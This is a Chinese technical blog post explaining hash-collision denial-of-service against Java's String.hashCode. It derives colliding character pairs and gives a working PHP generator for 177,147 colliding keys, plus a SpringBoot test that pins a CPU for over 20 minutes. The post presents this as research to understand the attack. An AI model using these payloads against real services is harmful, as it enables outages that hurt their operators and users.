Java Hash Collision之数据生产

简介:

上一篇文章一种高级的DoS攻击-Hash碰撞攻击我通过伪造Hash Collision数据实现了对Java的DoS攻击,下面说说如何生产大量的攻击数据。

HashTable是一种非常常用的数据结构。它存取速度快,结构简单,深得程序员喜爱。HashTable大致数据结构如下图:

Hash Collition

Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5,SHA*。不过HashTable中基本不会用MD5,SHA*算法,因为这两类算法太耗时,基本所有的编程语言都会选择Times*类型算法,比如Times31,times33,times37。Java使用的Hash算法为Times31,PHP使用的Hash算法为times33……

如果正常的使用HashTable,HashTable会是一种完美的数据结构。不过总有一些时候HashTable会被不正常使用,例如被攻击。假设"layne","abbc"这两个key通过散列算法得到的内存地址一样,我们的程序就不知道到底要获取哪一个key的参数。针对这种情况我们引入了Bucket(一个链表结构)的概念,当遇到这种情况时,程序会将同一个内存地址对应的多个数据存入同一个Bucket链表,这样能解决数据获取不到的问题,但是会带来额外的运算。当数十万甚至百万的数据都打到同一个Bucket,对HashTable的影响是致命的,运算量将急剧增加,分分钟将CPU耗尽。

通过研究各种语言底层的HashTable散列算法就能生产对应的攻击数据,这种攻击很难防御。不过在我们知道攻击原理之后,还是能很好应对。

一. Java HashCode函数实现

通过Google,我们很轻松的就搜索到了Java HashTable实现的散列算法,在Java中有个叫HashCode()的方法,我们可以这样使用。

System.out.println("it2048.cn".hashCode());

HashCode()函数底层就是使用times31算法,至于为什么选择times31,官方说法是 『 31 * i == (i << 5) - i 』,运算起来更快。源代码如下:

/**
 * Returns a hash code for this string. The hash code for a
 * <code>String</code> object is computed as
 * <blockquote><pre>
 * s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
 * </pre></blockquote>
 * using <code>int</code> arithmetic, where <code>s[i]</code> is the
 * <i>i</i>th character of the string, <code>n</code> is the length of
 * the string, and <code>^</code> indicates exponentiation.
 * (The hash value of the empty string is zero.)
 *
 * @return  a hash code value for this object.
 */
public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

核心的计算的公式如下:

s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]

通过推导计算,得到的计算公式如下:

F(n) = 31*F(n-1) + str[i]

使用PHP实现如下(这里只为加强说明哈希散列算法底层都是很简单的公式):

function hashCode($str) {  
    $h = 0;
    $len = strlen($str);
    $t = 2147483648; //java int的最大值
    for ($i = 0; $i < $len; $i++) {
        $h = (($h << 5) - $h) + ord($str[$i]);
        if($h > $t) $h %= $t; //溢出取模
    }
    return $h;
}

二. 通过Java HashCode函数实现逆推

通过如下公式

F(n) = 31*F(n-1) + str[i]

我们可以进一步推导出如下方程式:

31*x + y = 31*(x+1) + y-31 = 31*(x+2) + y-62

我们很容易找到满足条件的3组ASCII字符,分别是:

at = 97*31 + 116 = 3123

bU = 98*31 + 85 = 3123

c6 = 99*31 + 54 = 3123

通过如上数据,理论上我们可以构造任何偶数位的字符串,比如:

  1. atatatatatatatat (16位)
  2. c6atatatatatatbU (16位)
  3. atatatatatatbUat (16位)
  4. c6c6c6c6c6c6bUat (16位)

如上16位字符串得到的hashCode都是一样,理论上我们可以得到 pow(3,16/2) = 6561 个字符串;22位长度的字符串可以得到pow(3,22/2) = 177147 个字符串,用来发起简单的攻击完全足够。接下来我们封装一个简单的函数来生成 177147 个攻击字符串;

三. 通过脚本批量产出碰撞数据

如上我们已经推算出碰撞数据的实现方程式,接下来我通过PHP快速的生成碰撞数据。这里最好不要使用Java来生成碰撞数据,因为操作不当就会变成攻击自己的脚本。

$arr_src = ['at','bU','c6']; 
$str_tmp = '';  //存储临时字符串
$arr_rtn = [];
$t = combs(11,$arr_src,$str_tmp,$arr_rtn);
/**
 * 组合算法
 **/
function combs($n,$arr,$str,&$arr_rtn) {
    if($n==1){
        for($j=0;$j<3;$j++){
            $arr_rtn[$str.$arr[$j]] = 0;
        }
    }else
    {
        for($j=0;$j<3;$j++){
            combs($n-1,$arr,$str.$arr[$j],$arr_rtn);
        }
    }
}
$json = json_encode($arr_rtn);
file_put_contents('log/times31.txt',$json);

最后我们生成了如下数据(截取了前面几条):

{
    "atatatatatatatatatatat":0,
    "atatatatatatatatatatbU":0,
    "atatatatatatatatatatc6":0,
    "atatatatatatatatatbUat":0,
    "atatatatatatatatatbUbU":0,
    "atatatatatatatatatbUc6":0,
    "atatatatatatatatatc6at":0,
    "atatatatatatatatatc6bU":0,
    "atatatatatatatatatc6c6":0,
    "atatatatatatatatbUatat":0,
    "atatatatatatatatbUatbU":0,
    "atatatatatatatatbUatc6":0,
    "atatatatatatatatbUbUat":0,
    "atatatatatatatatbUbUbU":0,
    "atatatatatatatatbUbUc6":0,
    "atatatatatatatatbUc6at":0
}

四. 在Java中测试碰撞数据

通过程序我们生成了177147条碰撞数据,然后在SpringBoot中做个简单的测试,测试代码如下:

public class IndexController {

    @RequestMapping(value="/",method = RequestMethod.GET)
    public String index(){

        String jsonStr = "";
        try
        {
            FileReader fr = new FileReader("times31.txt");//需要读取的文件路径
            BufferedReader br = new BufferedReader(fr);
            jsonStr = br.readLine();
            br.close();//关闭BufferReader流
            fr.close();        //关闭文件流
        }catch(IOException e)//捕捉异常
        {
            System.out.println("指定文件不存在");//处理异常
        }

        Map<String, Object> map = new HashMap<String, Object>();

        map = JSONObject.fromObject(jsonStr);


        return "Hash Collision ~";
    }
}

测试结果,一个CPU被打到100%,持续了20多分钟。Mac Pro马上发烫,风扇开启。结束该java进程后电脑恢复。

上一篇文章链接地址:一种高级的DoS攻击-Hash碰撞攻击

未完待续……

我的博客-原文链接:Java Hash Collision之数据生产

目录
相关文章
|
24天前
|
存储 缓存 Java
保护隐私数据:使用Java `transient`关键字
保护隐私数据:使用Java `transient`关键字
17 0
|
2月前
|
安全 Java 容器
Dating Java8系列之用流收集数据
Dating Java8系列之用流收集数据
12 0
|
2月前
|
Java 数据安全/隐私保护
Java 中使用 OpenSSL 生成公钥私钥进行数据加解密
Java 中使用 OpenSSL 生成公钥私钥进行数据加解密
24 0
|
2天前
|
缓存 Java 程序员
深入理解 Java 修饰符与封装:访问权限、行为控制与数据隐藏
ava 修饰符 用于控制类、属性、方法和构造函数的访问权限和行为。它们可以分为两组: 访问修饰符: public: 意味着代码对所有类可访问。 private: 意味着代码只能在声明的类内部访问。 default: 意味着代码只能在同一包中访问。 protected: 意味着代码在同一包和子类中可访问。 非访问修饰符: final: 意味着类不能被继承,属性和方法不能被重写。 static: 意味着属性和方法属于类,而不属于对象。 abstract: 意味着类不能用于创建对象,方法没有主体,必须由子类提供。 transient: 意味着在序列化包含它们的对象时,属性和方法将被跳过。 sync
98 0
|
6天前
|
存储 缓存 算法
使用Java实现高效的数据缓存系统
【2月更文挑战第3天】在大规模的应用程序中,数据缓存是提高应用程序性能的一种重要方法。本文介绍了如何使用Java实现高效的数据缓存系统。我们将讨论缓存的设计原则和缓存算法的选择,同时详细说明如何使用Java内置的缓存库和其他开源工具来构建一个可靠、高效的数据缓存系统。
|
11天前
|
监控 安全 数据可视化
Java数字孪生智慧工地数据大屏APP源码
高支模监测:高支模立杆及倾斜角度,高支模立杆的荷载,架体的水平位移以及模板沉降情况,当检测数据超过预警值时,实时报警。
14 0
|
13天前
|
Java
百度搜索:蓝易云【Java中如何向一个string类型的数组中添加数据】
在上述代码中,我们首先创建一个新的String数组 `newArray`,长度为原数组 `originalArray`的长度加1。然后,通过循环将原数组中的元素复制到新数组中。最后,将新数据 `newData`添加到新数组的末尾。现在,`newArray`就包含了原数组的所有元素,并且在末尾添加了新的数据。 买CN2云服务器,免备案服务器,高防服务器,就选蓝易云。百度搜索:蓝易云
9 0
|
2月前
|
Go Java C++
Java每日一练(20230407) 数据流变为多个不相交区间、最小栈、柱状图中最大的矩形
Java每日一练(20230407) 数据流变为多个不相交区间、最小栈、柱状图中最大的矩形
32 0
Java每日一练(20230407) 数据流变为多个不相交区间、最小栈、柱状图中最大的矩形
|
2月前
|
前端开发 Java 容器
【JAVA】一个项目如何预先加载数据?
【JAVA】一个项目如何预先加载数据?
16 0
|
2月前
|
人工智能 监控 数据可视化
Java智慧工地可视化数据大屏源码
智慧工地可视化数据大屏功能一览 包括:首页、视频监控、机械设备、环境监测、安全管理、质量管理、劳务分析、进度管理、报警统计。
28 1

相关产品

  • 云迁移中心